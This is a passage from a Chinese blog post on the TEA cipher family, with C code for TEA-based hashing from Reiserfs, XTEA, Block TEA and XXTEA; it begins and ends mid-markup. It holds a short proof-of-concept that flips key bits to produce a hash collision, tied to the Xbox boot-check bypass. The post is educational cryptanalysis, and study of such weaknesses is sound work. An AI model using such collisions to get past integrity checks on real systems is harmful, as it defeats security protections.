style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>如上，如果我们想要保证<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>V</mi><mn>0</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><mo>=</mo><msub><mi>V</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">V&#x27;_0 == V_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.24810799999999997em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span></span><span class="base"><span class="strut" style="height:0.36687em;vertical-align:0em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，一个最好的办法就是<strong>让这个异或过程发生的变化被抵消掉</strong>。根据原理我们可以知道，如果将<strong>k0和k1的最高bit同时进行翻转，那么这个变化将会有1/2的概率被抵消</strong></p><p>如果TEA算法被当作<strong>基于Davies–Meyer的hash算法</strong>的话，就很容易因为散列度不足导致碰撞发生。</p><p>在<a href="http://derekwilliams.us/docs/CPSC-6128-TEA-Encryption.pdf">这边</a>提到了关于TEA算法错误使用的例子。这里提到了Xbox和Reiserfs都错误的使用了TEA算法，虽然xbox的源码我们找不到了，但是我找到了Reiserfs中<a href="https://code.woboq.org/linux/linux/fs/reiserfs/hashes.c.html">使用TEA的源代码</a>，其中关键的如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> DELTA 0x9E3779B9</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> FULLROUNDS 10<span class="comment">/* 32 is overkill, 16 is strong crypto */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PARTROUNDS 6<span class="comment">/* 6 gets complete mixing */</span></span></span><br><span class="line"><span class="comment">/* a, b, c, d - data; h0, h1 - accumulated hash */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> TEACORE(rounds)\</span></span><br><span class="line"><span class="meta">do &#123;\</span></span><br><span class="line"><span class="meta">u32 sum = 0;\</span></span><br><span class="line"><span class="meta">int n = rounds;\</span></span><br><span class="line"><span class="meta">u32 b0, b1;\</span></span><br><span class="line"><span class="meta">\</span></span><br><span class="line"><span class="meta">b0 = h0;\</span></span><br><span class="line"><span class="meta">b1 = h1;\</span></span><br><span class="line"><span class="meta">\</span></span><br><span class="line"><span class="meta">do\</span></span><br><span class="line"><span class="meta">&#123;\</span></span><br><span class="line"><span class="meta">sum += DELTA;\</span></span><br><span class="line"><span class="meta">b0 += ((b1 <span class="string">&lt;&lt; 4)+a) ^ (b1+sum) ^ ((b1 &gt;</span>&gt; 5)+b);\</span></span><br><span class="line"><span class="meta">b1 += ((b0 <span class="string">&lt;&lt; 4)+c) ^ (b0+sum) ^ ((b0 &gt;</span>&gt; 5)+d);\</span></span><br><span class="line"><span class="meta">&#125; while(--n);\</span></span><br><span class="line"><span class="meta">\</span></span><br><span class="line"><span class="meta">h0 += b0;\</span></span><br><span class="line"><span class="meta">h1 += b1;\</span></span><br><span class="line"><span class="meta">&#125; while(0)</span></span><br><span class="line"><span class="function">u32 <span class="title">keyed_hash</span><span class="params">(<span class="type">const</span> <span class="type">signed</span> <span class="type">char</span> *msg, <span class="type">int</span> len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">u32 k[] = &#123; <span class="number">0x9464a485</span>, <span class="number">0x542e1a94</span>, <span class="number">0x3e846bff</span>, <span class="number">0xb75bcfc3</span> &#125;;</span><br><span class="line">u32 h0 = k[<span class="number">0</span>], h1 = k[<span class="number">1</span>];</span><br><span class="line">u32 a, b, c, d;</span><br><span class="line">u32 pad;</span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line"><span class="comment">/*      assert(len &gt;= 0 &amp;&amp; len &lt; 256); */</span></span><br><span class="line">pad = (u32) len | ((u32) len &lt;&lt; <span class="number">8</span>);</span><br><span class="line">pad |= pad &lt;&lt; <span class="number">16</span>;</span><br><span class="line"><span class="keyword">while</span> (len &gt;= <span class="number">16</span>) &#123;</span><br><span class="line">a = (u32) msg[<span class="number">0</span>] |</span><br><span class="line">    (u32) msg[<span class="number">1</span>] &lt;&lt; <span class="number">8</span> | (u32) msg[<span class="number">2</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">3</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">b = (u32) msg[<span class="number">4</span>] |</span><br><span class="line">    (u32) msg[<span class="number">5</span>] &lt;&lt; <span class="number">8</span> | (u32) msg[<span class="number">6</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">7</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">c = (u32) msg[<span class="number">8</span>] |</span><br><span class="line">    (u32) msg[<span class="number">9</span>] &lt;&lt; <span class="number">8</span> |</span><br><span class="line">    (u32) msg[<span class="number">10</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">11</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">d = (u32) msg[<span class="number">12</span>] |</span><br><span class="line">    (u32) msg[<span class="number">13</span>] &lt;&lt; <span class="number">8</span> |</span><br><span class="line">    (u32) msg[<span class="number">14</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">15</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line"><span class="built_in">TEACORE</span>(PARTROUNDS);</span><br><span class="line">len -= <span class="number">16</span>;</span><br><span class="line">msg += <span class="number">16</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (len &gt;= <span class="number">12</span>) &#123;</span><br><span class="line">a = (u32) msg[<span class="number">0</span>] |</span><br><span class="line">    (u32) msg[<span class="number">1</span>] &lt;&lt; <span class="number">8</span> | (u32) msg[<span class="number">2</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">3</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">b = (u32) msg[<span class="number">4</span>] |</span><br><span class="line">    (u32) msg[<span class="number">5</span>] &lt;&lt; <span class="number">8</span> | (u32) msg[<span class="number">6</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">7</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">c = (u32) msg[<span class="number">8</span>] |</span><br><span class="line">    (u32) msg[<span class="number">9</span>] &lt;&lt; <span class="number">8</span> |</span><br><span class="line">    (u32) msg[<span class="number">10</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">11</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">d = pad;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">12</span>; i &lt; len; i++) &#123;</span><br><span class="line">d &lt;&lt;= <span class="number">8</span>;</span><br><span class="line">d |= msg[i];</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (len &gt;= <span class="number">8</span>) &#123;</span><br><span class="line">a = (u32) msg[<span class="number">0</span>] |</span><br><span class="line">    (u32) msg[<span class="number">1</span>] &lt;&lt; <span class="number">8</span> | (u32) msg[<span class="number">2</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">3</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">b = (u32) msg[<span class="number">4</span>] |</span><br><span class="line">    (u32) msg[<span class="number">5</span>] &lt;&lt; <span class="number">8</span> | (u32) msg[<span class="number">6</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">7</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">c = d = pad;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">8</span>; i &lt; len; i++) &#123;</span><br><span class="line">c &lt;&lt;= <span class="number">8</span>;</span><br><span class="line">c |= msg[i];</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (len &gt;= <span class="number">4</span>) &#123;</span><br><span class="line">a = (u32) msg[<span class="number">0</span>] |</span><br><span class="line">    (u32) msg[<span class="number">1</span>] &lt;&lt; <span class="number">8</span> | (u32) msg[<span class="number">2</span>] &lt;&lt; <span class="number">16</span> | (u32) msg[<span class="number">3</span>] &lt;&lt; <span class="number">24</span>;</span><br><span class="line">b = c = d = pad;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">4</span>; i &lt; len; i++) &#123;</span><br><span class="line">b &lt;&lt;= <span class="number">8</span>;</span><br><span class="line">b |= msg[i];</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">a = b = c = d = pad;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; len; i++) &#123;</span><br><span class="line">a &lt;&lt;= <span class="number">8</span>;</span><br><span class="line">a |= msg[i];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">TEACORE</span>(FULLROUNDS);</span><br><span class="line"><span class="comment">/*return 0;*/</span></span><br><span class="line"><span class="keyword">return</span> h0 ^ h1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，这里将输入作为了加密算法的密钥。我们可以按照前文提到的攻击手段，给出如下的例子:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">u_int32_t</span> key[] = &#123;<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>&#125;;</span><br><span class="line">    key[<span class="number">1</span>] |= (<span class="number">1</span>&lt;&lt;<span class="number">31</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;key0 = 0x%x\n&quot;</span>,key[<span class="number">0</span>]);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;key1 = 0x%x\n&quot;</span>,key[<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;[1] wrong hash function get ans:%x\n&quot;</span>, <span class="built_in">keyed_hash</span>(key, <span class="number">16</span>));</span><br><span class="line">    key[<span class="number">0</span>] |= (<span class="number">1</span>&lt;&lt;<span class="number">31</span>);</span><br><span class="line">    key[<span class="number">1</span>] &amp;= ((<span class="number">1</span>&lt;&lt;<span class="number">31</span>)<span class="number">-1</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;key0 = 0x%x\n&quot;</span>,key[<span class="number">0</span>]);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;key1 = 0x%x\n&quot;</span>,key[<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;[2] wrong hash function get ans:%x\n&quot;</span>, <span class="built_in">keyed_hash</span>(key, <span class="number">16</span>));</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时会发现，两个key会得出同样的hash值。Xbox当年就是因为错误的使用TEA作为hash函数，从而导致原先从ROM加载的bootloader地址被修改成从RAM加载，从而绕过了相关安全固件的检查，感兴趣的可以看<a href="https://web.archive.org/web/20090416175601/http://www.xbox-linux.org/wiki/17_Mistakes_Microsoft_Made_in_the_Xbox_Security_System#Encryption_and_Hashing">这里</a>（如果将来有空，可以帮忙翻译一下这类文章，感觉非常有的有趣）</p><h3 id="xtea">XTEA</h3><p>为了解决TEA算法中的密钥相关攻击，TEA的设计者提出了XTEA（eXtended TEA）算法来解决之前的密钥相关攻击问题。<br><img src="/2020/11/15/TEA-Family/300px-XTEA_InfoBox_Diagram.svg.png" alt=""></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">encipher</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> num_rounds, <span class="type">uint32_t</span> v[<span class="number">2</span>], <span class="type">uint32_t</span> <span class="type">const</span> key[<span class="number">4</span>])</span> </span>&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> i;</span><br><span class="line">    <span class="type">uint32_t</span> v0=v[<span class="number">0</span>], v1=v[<span class="number">1</span>], sum=<span class="number">0</span>, delta=<span class="number">0x9E3779B9</span>;</span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">0</span>; i &lt; num_rounds; i++) &#123;</span><br><span class="line">        v0 += (((v1 &lt;&lt; <span class="number">4</span>) ^ (v1 &gt;&gt; <span class="number">5</span>)) + v1) ^ (sum + key[sum &amp; <span class="number">3</span>]);</span><br><span class="line">        sum += delta;</span><br><span class="line">        v1 += (((v0 &lt;&lt; <span class="number">4</span>) ^ (v0 &gt;&gt; <span class="number">5</span>)) + v0) ^ (sum + key[(sum&gt;&gt;<span class="number">11</span>) &amp; <span class="number">3</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    v[<span class="number">0</span>]=v0; v[<span class="number">1</span>]=v1;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">decipher</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> num_rounds, <span class="type">uint32_t</span> v[<span class="number">2</span>], <span class="type">uint32_t</span> <span class="type">const</span> key[<span class="number">4</span>])</span> </span>&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> i;</span><br><span class="line">    <span class="type">uint32_t</span> v0=v[<span class="number">0</span>], v1=v[<span class="number">1</span>], delta=<span class="number">0x9E3779B9</span>, sum=delta*num_rounds;</span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">0</span>; i &lt; num_rounds; i++) &#123;</span><br><span class="line">        v1 -= (((v0 &lt;&lt; <span class="number">4</span>) ^ (v0 &gt;&gt; <span class="number">5</span>)) + v0) ^ (sum + key[(sum&gt;&gt;<span class="number">11</span>) &amp; <span class="number">3</span>]);</span><br><span class="line">        sum -= delta;</span><br><span class="line">        v0 -= (((v1 &lt;&lt; <span class="number">4</span>) ^ (v1 &gt;&gt; <span class="number">5</span>)) + v1) ^ (sum + key[sum &amp; <span class="number">3</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    v[<span class="number">0</span>]=v0; v[<span class="number">1</span>]=v1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到相较之前，发生了如下的变化:</p><ul><li>由之前的<code>((v1&lt;&lt;4) + k0) ^ ((v1&gt;&gt;5) + k1)</code> 变化成了 <code>((v1 &lt;&lt; 4) ^ (v1 &gt;&gt; 5)) + v1)</code>，此时v1内部数据的加密变化不再受到密钥的影响。</li><li>原先的<code>v1 + sum</code>变成了<code>(sum + key[sum &amp; 3])</code>以及<code>sum + key[(sum&gt;&gt;11) &amp; 3]</code>，密钥变成了轮转使用，而不是固定只针对某种数据进行加密（解密）。并且此时密钥的选取<strong>受到sum的影响</strong></li><li><code>sum += delta</code>的时机由每次加密开头就发生变化到v0，v1两个block加密的中间。</li></ul><p>这些变化帮助XTEA摆脱了一些密钥相关攻击，不过同时诞生了一种叫做<strong>TEA 块加密</strong>的加密手法。这种手法作用在一些可变长的数据中（XTEA默认用于64bit长的数据）。这中加密使用XTEA的轮转加密函数（就是上述的加密流程），但是却将同一段消息进行多次迭代加密。因为它对整个消息进行操作，所以块加密具有不需要ECB、CBC那些分组密码加密的属性。然而这个方式给XTEA本身引入了漏洞，如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">teab1_encrypt</span><span class="params">(<span class="type">long</span> *v, <span class="type">long</span> n, <span class="type">long</span> *k)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> z = v[n - <span class="number">1</span>], sum = <span class="number">0</span>, e;</span><br><span class="line">    <span class="type">long</span> p, q;</span><br><span class="line">    <span class="keyword">for</span> (q = <span class="number">6</span> + <span class="number">52</span> / n; q &gt; <span class="number">0</span>; q--)</span><br><span class="line">    &#123;</span><br><span class="line">        sum += <span class="number">0x9e3779b9</span>;</span><br><span class="line">        e = sum &gt;&gt; <span class="number">2</span> &amp; <span class="number">3</span> ;</span><br><span class="line">        <span class="keyword">for</span> (p = <span class="number">0</span>; p &lt; n; p++)</span><br><span class="line">            z = v[p] += (((z &lt;&lt; <span class="number">4</span>) ^ (z &gt;&gt; <span class="number">5</span>)) + z) ^</span><br><span class="line">            (k[(p &amp; <span class="number">3</span>) ^ e] + sum);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这类加密算法本身虽然套用了XTEA，不过总的来说也是属于一种错误使用，所以给了暴力破解的可能。感兴趣的可以参考<a href="https://www.researchgate.net/profile/Markku_Juhani_Saarinen/publication/228548968_Cryptanalysis_of_block_tea/links/5446bc1e0cf2d62c305049da/Cryptanalysis-of-block-tea.pdf?origin=publication_detail">这里</a></p><h3 id="xxtea">XXTEA</h3><p>在经历了块加密的问题之后，XTEA再度进化， 变成了支持块加密<code>XXTEA</code>。<br><img src="/2020/11/15/TEA-Family/391px-Algorithm_diagram_for_XXTEA_cipher.svg.png" alt=""><br>这次的加密代码如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"> <span class="meta">#<span class="keyword">define</span> DELTA 0x9e3779b9</span></span><br><span class="line"> <span class="meta">#<span class="keyword">define</span> MX (((z&gt;&gt;5^y<span class="string">&lt;&lt;2) + (y&gt;</span>&gt;3^z&lt;&lt;4)) ^ ((sum^y) + (key[(p&amp;3)^e] ^ z)))</span></span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="type">void</span> <span class="title">btea</span><span class="params">(<span class="type">uint32_t</span> *v, <span class="type">int</span> n, <span class="type">uint32_t</span> <span class="type">const</span> key[<span class="number">4</span>])</span> </span>&#123;</span><br><span class="line">   <span class="type">uint32_t</span> y, z, sum;</span><br><span class="line">   <span class="type">unsigned</span> p, rounds, e;</span><br><span class="line">   <span class="keyword">if</span> (n &gt; <span class="number">1</span>) &#123;          <span class="comment">/* Coding Part */</span></span><br><span class="line">     rounds = <span class="number">6</span> + <span class="number">52</span>/n;</span><br><span class="line">     sum = <span class="number">0</span>;</span><br><span class="line">     z = v[n<span class="number">-1</span>];</span><br><span class="line">     <span class="keyword">do</span> &#123;</span><br><span class="line">       sum += DELTA;</span><br><span class="line">       e = (sum &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span>;</span><br><span class="line">       <span class="keyword">for</span> (p=<span class="number">0</span>; p&lt;n<span class="number">-1</span>; p++) &#123;</span><br><span class="line">         y = v[p+<span class="number">1</span>]; </span><br><span class="line">         z = v[p] += MX;</span><br><span class="line">       &#125;</span><br><span class="line">       y = v[<span class="number">0</span>];</span><br><span class="line">       z = v[n<span class="number">-1</span>] += MX;</span><br><span class="line">     &#125; <span class="keyword">while</span> (--rounds);</span><br><span class="line">   &#125; <span class="keyword">else</span> <span class="keyword">if</span> (n &lt; <span class="number">-1</span>) &#123;  <span class="comment">/* Decoding Part */</span></span><br><span class="line">     n = -n;</span><br><span class="line">     rounds = <span class="number">6</span> + <span class="number">52</span>/n;</span><br><span class="line">     sum = rounds*DELTA;</span><br><span class="line">     y = v[<span class="number">0</span>];</span><br><span class="line">     <span class="keyword">do</span> &#123;</span><br><span class="line">       e = (sum &gt;&gt; <span class="number">2</span>) &amp; <span class="number">3</span>;</span><br><span class="line">       <span class="keyword">for</span> (p=n<span class="number">-1</span>; p&gt;<span class="number">0</span>; p--) &#123;</span><br><span class="line">         z = v[p<span class="number">-1</span>];</span><br><span class="line">         y = v[p] -= MX;</span><br><span class="line">       &#125;</span><br><span class="line">       z = v[n<span 